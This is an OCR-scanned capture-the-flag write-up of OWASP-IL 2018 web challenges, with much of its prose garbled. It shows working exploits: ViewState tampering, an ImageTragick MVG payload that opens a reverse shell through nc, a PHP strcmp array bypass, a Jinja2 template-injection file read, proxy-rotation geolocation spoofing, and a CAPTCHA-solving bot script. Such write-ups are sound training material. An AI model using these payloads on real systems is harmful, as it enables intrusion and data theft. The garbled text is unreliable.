Lot 1Y sy 25 SRR ASPINET ViewState Tarhperinls , ~ XX s ¢ R
T X AN A X ek L T LN e s S TS LT ]S X
Ly oL s LR 1. s s L x
X, x 108 L e et
Login Page X
&« [CIEr @ & challenges.owaspil ctftoday:8084/Login.aspx e @ 2 Q search
Login
Password
s . Xs s %X x s « s ., 4% Yy I +s T I I S T
Admin page X
&« ¢ o (@ challenges.owaspil.ctf.today:8084/Default.aspx
Only administrators can see the flag!
14y x x4 X osx b X agpx XL XA, v 4 A4 . s 0 v d
ASP.NET
hitps://portswigger.net/burp BurpiSuite 4 « 1 * .~ ¢ " N x X . Xs .

a

55
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https://portswigger.net/burp

Technologic

"L T L R R T X "o X X Proxyl. s, T4 %S

o S I‘L :X.lL ”

POST /Login. aspx HITP/1.1

Host: challenges ovaspil ctf today: 8084

User~Agent: Mozilla/5.0 (Vindows NT 10.0; Vinéd, x€4. xv:€1.0) GCecko/T0100101 Firetox/€1.0
Accept: text/html application/xhetmléxnl application/xul ;q=0.9,%/%,;q=0.8
Accept-Language: en-US, en.q=0.5

Accept-Encoding: gzip, deflate

Retferer: http://challenges. owaspil.ctt today: 0084/Login, aspx
Content~Type: application/x-www-form-urlencoded

Content-Length: 313

Connection: close

Upgrade-Insecure-Requests: 1

__VIEVSTATE=\ZFvEPDVURLTMsNDEOCDAIMubk Y 2Bz ARV SFins 0Z02KPEUNSEQLS P2 TpucuVxYyd

DPuCeLTwiID4_ VIEWSTATEGENERATOR=CIERSABBL
__EVENTVALIDATION=A ZFvEAAACRLvyTEB4AVDES ThidbW7qRILAY TB Y hWMIh X)) E LT LTASVILWEOA ST lgnnlSOLAiRNy Tedn B4 aA3naHEY S 4 PneUbEGLNA

UZb11iZRs IFBSoThAGScVeGEFYUbJIvIup VY xw3DUoN IDLusernane*useripassvord=passvord

F r  POBH 1% <> 1 ViewState- 1~_ ~  *r + 1 _ " x s

"1 % viewState* | PHPs: | se%sionn s _ x| Tox X rVieWwState®
xR "0 1 Tnputls! __ViewStates S 1Ad 40 Py

a

R B .S ¢, ViewStates | L st L $ S 4]

>~ Xs x4 <s _ IViewStateldackers { 7] x .~ X«

http://www.woanware.co.uk/application/viewstatehacker.html

[55) ViewStateHacker — O X
File Help

= = | URL Decode @

General View State  Encoded Basefd
Tree  Raw XML

<System.Wek .Ul . Pair> -~
<System.Web . UI_ Pair>
<5ystem. String xml:space="preserve">-733473150=</5ystem.String>
“<5ystem.Wek UL Pajir>
<System.Collections. BArrayList>
<System.Wek .UIl.IndexedString=ishdmin
</System._Web . UI.IndexedString>
<System.Boolean>False</System.Boolean>
</8ystem.Collections.ArrayList>
“Hull>=True</Hull>
</System.Web UL Pairx
</System.Wek.UI.Pair>
<Null>True</Hull:=>
</System.Web UI Pair>

</ViewStateDeserialized>
< FTieuSraras

MALC: None ASP.Net 2X

« ¥ 4 _stue-t "X D oxes o lx s s | sfalselx ".iligAdmirt- s XX LS L

LY
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http://www.woanware.co.uk/application/viewstatehacker.html

Technologic

Inputs s I _x I's | ViewState-s s - 4 xigAdmin” ~» 1 _ .~ |
:Generals - 17" x L1

=% ViewStateHacker

File Help
= = | URL Decode &

General \few State Encoded Base64
/WEPDWUKLTczMzQ30TELIMASWAR4HaXNEZGlpbmhkZEX Tt XAvuloDn3P1lZ 7THz4CK88xTvPSvSYw/UG

TntXoXJ
s .x D 1 o | Thue.False 4 -~ isAfmin ! _ s 7 | x Decoder , s 7, 1"L.X" X
41 s+« Entgde s _
» =Z| ViewStateHacker - O X
a¢  File Help
=) = | URL Decode ©
General View State Encoded Base64
TR ITR T VT OSr HRAU Eila SIVWE T
ViewStates - - CXT X e e X5 X X e X X T s
LY | s - L x

Help

File Edit View History Bookmarks Tools

Admin page
® challenges.owaspil.ctf.today:8084/Default.aspx

&« C @
JWEPDWUKLT czMzQ30T
CAOBO334

OWASP-IL {N3v3rUs3W1thV13wstdt3!}
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Image Converter ¥ - «

Image converter
350

My magical tool can help you to convert pictures to PNG!

URL: http://challenges.owaspil.ctf.today:8090/

Flag Submit

- 1 .GIF,WEBPMVG ,JPG+: 1 « * s I N B .
‘PNGL 1 _ -~ x S L s ., s R x4 s CF s

Image converter

Convert any image you want to PNG! what a magic..

Choose File | N0 file chosen

Allowed extensions: JPG, WEBE MVG, GIF

{ | T s L MG LT e Sxxs X L o DT , ST x s Sl S Fid s
” S oox s x s -~ imagemdgicks 4 At X0 X x4l ] Xs
D 4Y ) s2086% 1 h 0 x T ixe s, 487 sqd. 1 A _dAd.s
1_ . x % s™x 1 so,Cs 4" 1, s ALYRIKENG T, T SS L
MVG s * x/[kttpsi//iadgetragick.com - x " . T 47 L x {4 Y MVG x| x.
1l ose.m xmy

push graphic - context
viewbox 00 640 480

fill ‘url(https://example. com/image.jpg" | mknod /tmp/pipez p;/bin/sh
O</tmp/pipez | nc [HOST][PORT]1 >/tmp/pipez;rm - 1f "/tmp/pipez)’
pop graphic - context
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https://imagetragick.com/
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nc-lvp 1337 - ! x « 0 1387 1, x X s Cos x4 040
eran@ubuntu:~S$ nc -lvp 1337
Listening on [0.8.0.0] (family 8, port 1337)
” XL S L s ¢ X L
Bbragick ey £3
Image conve
cose e 2]
<~ S i "
eran@ubuntu:~S$ nc -lvp 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from localhost 39592 received!
Ls
app.py
requirements. txt
templates
whoami
owasp
cd /
Ls
11 s ¢

cat fflag.txt
OWASP-IL{Im4ag3Tr4alck?
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TheBug~ Y

TheBug
350

| have a bug in my app that will give away the flag,
| hope you won't find it \
What you are waiting for go away and find it...

URL: http://challenges.owaspil.ctf.today:8083/

Flag

Submit

SRS B

Xy 1) X

~

&

C 00 © Mot secure

challenges.owaspil ctf.today &0

Q& M e

X"L

:console* L

Xy ks g ys

~ 191 s ¢

Y X7,

y I s

S [T F X o,

r”

X 547X X

> v~

0XT s XX L] x

«

C O | @ Notsecure | challenges cwaspil et today

File " s local 1ib python2.7 /sie-packages Mask /app.py’, line 2295, in wsgl_app

response = self.handle_exception(e)

ser_enception(e)

ve, to}
Fill */use local b/ pythond. 7 site-packages  fask [ap

rv = self.dispatch_request()

File /st local 116/ ython2. 7, 5e-packages Mask
return self.view_functions[rule. endpoint](**req.view_args)

File " /app/indes.py, line 204, in cale

= CEQULIT Begs RERT CaleT)
| 138« ~owssp-u(uans maks_grrors_araen_agatnr” |

return render_tesplate(’index.htal”,

LF _nase_ =e

|_main_"
40P FUn(ROST="0.0.0.0°, DErT-B083, GeDUFeTruE, ThREaced=TruE)
File " /app/ndex.py, line 187, in evaluate

try:

es Mlask app.py”, line 1718, in hardle_user_sxception

Py’ line 1813, in Full_dispatch_request

ling 1799, in dispatch_request

result-evaluate(c) if ¢ is not None else ~°)

QB =

S Ok & v !

60
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The Code ¥ - -«

TheCode
400

| can't believe | forgot the username and password!
| have piece of the code maybe you can help me hack my own website?

URL: http://challenges.owaspil.ctf.today:8082/

Flag Submit
RN T l.xoc0c - _ s Lo T LRHP Do A% Tix 4 e, xs"6p XI{x o s
Pxos 1« Tuoso L.

require_once ( 'config.php'
function check_param (
return  (isset ( ) && !empty ( )k

}

if (check_param (‘'username' ) && strcmp ( ; [ 'username' ]) == 0 &&
check_param (‘'md5' ) && stremp ( : ['md5 ]) == 0) {
[ ‘connected" ] = 1;
header ('Location: /index.php'
exit ();

T X x o x . 1..7s diw~s 11 .
S @y *xsxx ], s, {S71_x I xStempl 41 PHP X {trenmppe x x s 1
x € L x ¢ DX X X ¢ x

(http://php.net/manual/en/function.strcmp.php ~ * s N s 4 " x s Lo s X1 .

Cx ,74% s v 0 1 s Txux 4,497 - S . X's . y x | s , S 4 <7

" PHPXA “'I” -I” X SL X XL X"-IL'ls ,=X”Y”vs

o 4. 4T DO x L] A X strempl 24 A e T x T4 s x xS s Xs s
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http://php.net/manual/en/function.strcmp.php
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= armay ()
stremp (($a, $b);

Pyt h{ ¢ sPYRMQB OWdzaSINJII Y-S Z8 1+ 1 x” | «xs Ix L
Ly |l os coastrempt < d 4 T X PHP x4 , 0 44 ] X xyx s 7

POST /login.php HTTP/Ll.1

Host: challenges.owaspil.ctf. today:8082

Content-Length: 44

Cache-Control: max-age=0

Origin: http://challenges. owaspil.ctf. today:8082

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; x€4) AppleWebKit/537.3& (FHTML, like Gecko)
Chrome/e8.0.3440.106 Safari/537.36

Accept: text/html,application/xhtml+xml, application/xml;q=0.9,image/webp,inage/apng,*/*;q=0.8
Referer: http://challenges.owaspil.ctf.today:8082/1login.php

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9 he;q=0.8,sv;q=0.7

Cookie: PHPSESSID=E£d33f{bB81B86311b5Zb5el052710£88664

Connection: close

lusername [] =hackedand5[]=hackedisubnit=submit |

OWASP-IL{PHP_1s_S0_B4d_Th4t_1t_Hurts}
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Recommendation Generator Y

Technologic

security breach.

Flag

Hi Guys, | need your help!

Recommendation
Generator

500

Someone hacked my recommendation system and i can't found the

Canyou demonstrate the hacker's steps in order to take over the server
and send me the flag?

URL: http://challenges.owaspil.ctf.today:8087/

Submit

T XS KL XT 4T

. hittps://portswigger.net/blog/serversidetemplate-injection)

s Server Silé Template Injectidn

firefox-L .. X s 104

o Wappalyzer

Web Framework

@ Bootstrap 4.00

Web Server

™ gunicorn 19.9.0

I
':’osiLI

:python>

S L q s

~ ~ v

~ X x 1 Wappalyzer « » «

Programming Language

@ Python

JavaScript Libraries

i

= jQuery 334

XL Jinjazx ) 4.7 x|

:Github* Server Side Templatajection-s
https://github.com/swisskyrepo/PayloadsAllITheThings/blob/2a080f82e68d6£650f1f8a240b

frarhewarks = 14"
_ 1payload* _ x _ 1 Local Fild Inclusion

-|’xs-{¢

DL L X ] s

b0d2d708e2/Server%20Side%20Template%20injections/README.md
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https://portswigger.net/blog/server-side-template-injection
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/2a080f82e68d6c5a91050f1f8a240bb0d2d708e2/Server%20Side%20Template%20injections/README.md
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/2a080f82e68d6c5a91050f1f8a240bb0d2d708e2/Server%20Side%20Template%20injections/README.md

Recommendation Generator

Name
{"__class___ _mro_ [2]_ subclasses__ (J[40](/flagod) read() |}
Who would you like to recommend?

Recommender name

{"__class__._ mro__[2]._ subclasses_ (J[40]{'/flag.tt’).read() }}

OWASP-IL{IAmLOOkingFOrT3mpl4tes} is one of the most
valuable people | have ever met. Both smart and professional.

Experienced, deadline oriented and intelligent person. Highly

recommended.

6 4
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Around the world- REAL- ¥

Around the world - REAL
500

Hi you! Do you think that you traveled the world? Your mission is to
enter to our site with IP that belongs to country that we request you

Can you do that ? use with REAL IP:)

URL: http://challenges.owaspil.ctf.today:8095/

Flag Submit
X 7 « X s s " IP ¥ % ] S v L x " L « s s . 1 s
L) - X X s s " 4l s s . xXs N v 1o X s N
(XFE @ w4 " 1 1%
v X 1 L htt//challengels.owaspil.ctf.today:8095~ ¥ - « s = 4 _ «
<« C @ @ Notsecure | challenges.owaspil.ctf.today:3095

In order to get the flag you must to serve from Japan (You served from Israel)| Counter: 0/16
upstream -~ 41 ¥y " o ox X s" 4l s T T T B
Lls 1« 179.138.99.256080 ${ . « X .~ s X . _ bufp suitd proxy . -

~

https://www.proxynova.com/proxyservetlist/country-se/

” ”
11 s~ s Sl x.proxy SS1% 7

Note: If you do not know what any of these numbers mean, or how to use proxy servers in general, scroll to the bottom of this page
Sweden (9) v < All Proxies = v
Philippines (15) -
Pakistan (9)
Poland (28)

Proxy IP Proxy Port gheﬂgrﬁ;ﬂé ;une\on © Uptime Proxy Country Anonymity

Palestinian Territories (0)

72.138.92.224 8080 Portugal (4) 0% () = Sweden - Skellefted Elite
Palau (0)

193,234.157.214 8080 Ezrl:??g)y ) 0% () i3 Sweden Transparent
Reunion (0)

155.4.12.61 8080 Romania (14) 0% () EE Sweden - Sollentuna Transparent
Serbia (24)
Russia (151)

183,234.157.201 8080 Rwanda (0) 0% () i= Sweden Transparent
Saudi Arabia (3)
Solomon Islands (0) - )

92,33.17.248 8080 Seychelles (0) 0% () §E Sweden - Stockholm Elite
Sudan (0)

109.104.27.14 5080 Soztan ] . T 0%() | b= Sweden - Solna Blite

]
2242811332 80 " 3 days ago 0 ms 0% () i= Sweden Transparent

YouTube

OWASRAL 2018 -CTR 4 ~» ¥ i x .,
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http://challenges.owaspil.ctf.today:8095/
https://www.proxynova.com/proxy-server-list/port-8080/
https://www.proxynova.com/proxy-server-list/country-se/

Technologic

1 proxy-s 1. . proxy* oo .upstream proxy‘ . _, " P Bt
S . X' s s X X S s L X . S 1 - S . . ” s X S L
|uwuoiu]urw]wm]nme« Repeater | seauencer | Decoger | comparer | extender | Project optons. | user optons | Adonal Scanner Crecks | s50n Beauter | Somware Vunersbity Sconner | csaF | Logger++ | whatsapp Decover | Josep |
| (ol 1
_ s [ <ir] Target: htpzichallenges.owaspiLcti toay0ss 2 (7)
Raw | Params | Heagers | Hex |

s " 41 s { s s {4 1" s T O N Lo XST XX ox Vs ] { ¥ XX I X 78X q o«
S « X's s « XS . N D O FoA ”
X « X s X L X s . R L, . « X's I x . s . x " X ] 1

https://www.worldatlas.com/aatlas/ctycodes.htm . + + s x m 4 s 1 4. .

SessionCookie s " 4! oy _  sXx 12 X X
X”-Il s _I . L, G X (”X"I“x s X < x ” .35 X-I X
L5 . x"1 ., xs
Lo *x Dol v 4 oxs 0 41 proxynovaxsY iee o XsTH A pedd ] 40X oxx T v T
X Xx 1 ]s proxy ~- _~ 1«
Proxys P s5”" 4
s 47 S X
X x 1L F
S L T4

X " . L Y

#!/usr/bin/python

import re

import  requests

import  urllib3

urllib3 . disable_warnings (urllib3

. exceptions . InsecureRequestWarning

country_codes

= open( ). read ()

'http://challenges.owaspil.ctf.today:8095/'

url

cookies = {'session' ".eJxlkclqwzAQhF

16JyDSaNDDDIWcgwJOI21kksJ _gnlIRHINZOM6we9eQRtYN7f2x1mhr2T8qtvOhKuFr_TtT67k6mdRx9

38IKQkKR23SmgrUo2Gzlt ugRmFPS3HJ4Q_ TdskHB CpFExXkOGNMiBakQb4bIIG -
dgAd2o0wPTZzCmR4IZFsS640fiwthUXly3bBO0oeTDNMNPBdP2dOXyuTcdHjHLE

- WNQL7seqyWjT _7_ -

OWASRAL 2018 -CTR 4 ~» ¥ i x .,
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https://www.worldatlas.com/aatlas/ctycodes.htm

3MT5JHQhcWpUu7VkWgUDNiX69anHOruu8kd2hy8f2H3hkyfiweMIHWYX0p_OvOAP4l -
mMQ.DoQ3vA.oHSf5k7aWnPQ0evrUxILmOjm1d8" }
response = requests .get (url , cookies =cookies )

for i in xrange (17):
country_name = response .text .split ( )N 1]. split  ( ) 0]. strip ()
code = re.search (r{0} \s([A -ZJ[A -Z]) .format (country name ),
country_codes ). group (1). lower ()
proxy_list =
. format (code)
response = requests .get (proxy_list , verify =False )

for proxy_part in response .text .split (
ip_address = re . search (
, proxy_part )
if ip_address :
ip_address ip_address . group ()

port_address re . search ( , proxy_part )
if port_address
port_address = port_address . group (1)

if ip_address and port_address
proxy_dict ={

. format (ip_address . replace (
port_address )
}
try
response = requests .get (url , proxies =proxy_dict , cookies =cookies )

cookies [ ] = response . cookies [
print . format (response . text )
if in response . text
print . format (response . text )
exit (0)
break

except Exception
pass

In order get the flag you must to Ukraine (You served from Bulgaria)| Counter: 5/16
In order get the flag you must to Australia (You served from Ukraine)| Counter: 6/16
In order get the flag you must to United States (You served from Australia)| Counter:

7/16

In order get the flag you must to Albania (You served from United States)| Counter: 8/16

In order get the flag you must to Sweden (You served from Albania)| Counter: 9/16
In order get the flag you must to Brazil (You served from Sweden)| Counter: 10/16
In order get the flag you must to Norway (You served from Brazil)| Counter: 11/16
In order get the flag you must to Austria (You served from Norway)| Counter: 12/16
In order get the flag you must to Lithuania (You served from Austria)| Counter: 13/16

In order get the flag you must to Portugal (You served from Lithuania)| Counter: 14/16

In order get the flag you must to Philippines (You served from Portugal)| Counter: 15/16

In order to get the flag you must to France (You served from Philippines)| Counter: 16/16

OWASP-IL{World T@r Gops S@rry Teur!}
OWASP-IL{werld_Ter_eops_Se@rry Teur!}
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Break The CaptchaNightmare~ ¥ - -

Nightmare
700

human security.

URL: http://challenges.owaspil.ctf.today:8085/

Flag

Break The Captcha -

Following the last attack on my website i increased the difficulty of my

Do you think that you can bypass it with code and flood my form?

Submit

.S - X L X x b 30%rcaptcha, 1 o8B v, XD Ix 4T x T ,F xS
X T X x Lcaptcha £ 1l Xx  ox T  f .t X ko s T A48 Ly DS
11 L1y -
Your mission is seolving 15 captcha's in 3@ seconds! can you do
it? :P
Solved: @
{ . X s | X s " x . s pilux (8”7 A”>YL: viSX AT ad e S . x "L .
i « 1 s . s 7
o x T, o ox DX captehas, - v XX L0 s ] ] x40 1, «1s
” s Ea’ptthasx siox T oxo
1 « 7 s 1 x 17 L s « X8 s 7 X L X« s s 7 X s X =
X s = X X% s 7 X FoA X s L s ., s X
Xl L XL Xy ic11 ~ X
TXLr o xxo o AT o xs 20 X
OWASRL 2018 -CTR { ~ Y%, :
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T ~ oA XY L x ] XX dpytesdefact « X L ¢ X 44 T 7 4 x ¢ X

ImageFile .LOAD_TRUNCATED_IMAGES True
png_file = PnglmagePlugin . Image . open ( ‘captcha.png’
width , height = png_file . size

for i Iin xrange (height ):

for k in xrange (width ):
ab = png_file . getpixel (( k, i))
if ab[0] != 255 or ab[1] != 255 or ab[2] != 255:
png_file . putpixel (( k, i), (255, 255, 255))
else :
png_file . putpixel (( k, i), (0, 0, 0))

png_file . save ( )

text = pytesseract .image_to_string (Image . open ( 'captcha2.png’

[ I B S R T S I o text-sl - ¥ o Fod s e A xR L4444y s

a > ~ > v v ~ oA ~ o~ v o~

.captcha® .  x %

1, «1s e X "L s“"vx |_-|,,Zx1vs 4 X x I s L
# clean bad characters from captcha for example (space, backtick and so)
return .join (map(lambda data : data if data in string . ascii_letters or data
string . digits else , text )
J S ” X
ot
http://challenges.owaspil.ctf.today:8085
S I TR S 1x 14X L Lo
*x Do px b s X captehése oA T2 x s
http://challenges.owaspil.ctf.today:8085/captcha.php
s " x 5 s . (R I | X
x 7y os o box o Xfixceapteha() S 4~ v x 0 x4 414 o 387 x s
[ T S R S
1. «1s — s 1 1 S v . X . s s .S « . X I s T 1.4 -7 X
oL S I X o

from PIL import Image, PnglmagePlugin , ImageFile

import  requests
import  pytesseract
import  string
import re

import  numexpr

def

0:
ImageFile . LOAD_TRUNCATED_IMAGES True
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http://challenges.owaspil.ctf.today:8085/
http://challenges.owaspil.ctf.today:8085/captcha.php

png_file = PnglmagePlugin . Image . open ( ‘captcha.png'
width , height = png_file . size

for i in xrange (height ):

for k in xrange (width ):
ab = png_file . getpixel (( k, 1))
if ab[0] != 255 or ab[1l] != 255 or ab[?2]
png_file . putpixel (( k, i), (255, 255,
else :
png_file . putpixel (( k, i), (0, 0, 0))

png_file . save ( )

text = pytesseract .image_to_string (Image . open ( ‘captcha2.png’ )

return .join (map(lambda data : data if data in string . ascii_letters or data
in string . digits else , text ))

def 0:
response = requests . get (captcha url , cookies =cookies )

if response . status_code == 200:
with  open ( , 'wb' ) as f:
f . write (response . content )

(response =None):
if not response :
response = requests .get (number_url , stream =True)

for line in response . iter_lines 0:
if in line
re_value = re.search ( , line ). group (1)
return  numexpr . evaluate (re_value ). item ()

number_url = ‘http://challenges.owaspil.ctf.today:8085/"

captcha_url =

cookies dict ( PHPSESSIDG: )
headers {'content -type' : ‘application/x - www form - urlencoded' }

number = get number ()

while  True :
get_captcha ()
captcha = fix_captcha ()

response = requests . post (number_url
cookies = cookies ,
data =
. format (captcha , number),
headers = headers |,
stream = True )

if in response . text :
print
elif in response . text :
print
else :
flag = re.search ( , response .text ). group (1)
print . format (flag )
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raw_input (

number = get number (response )
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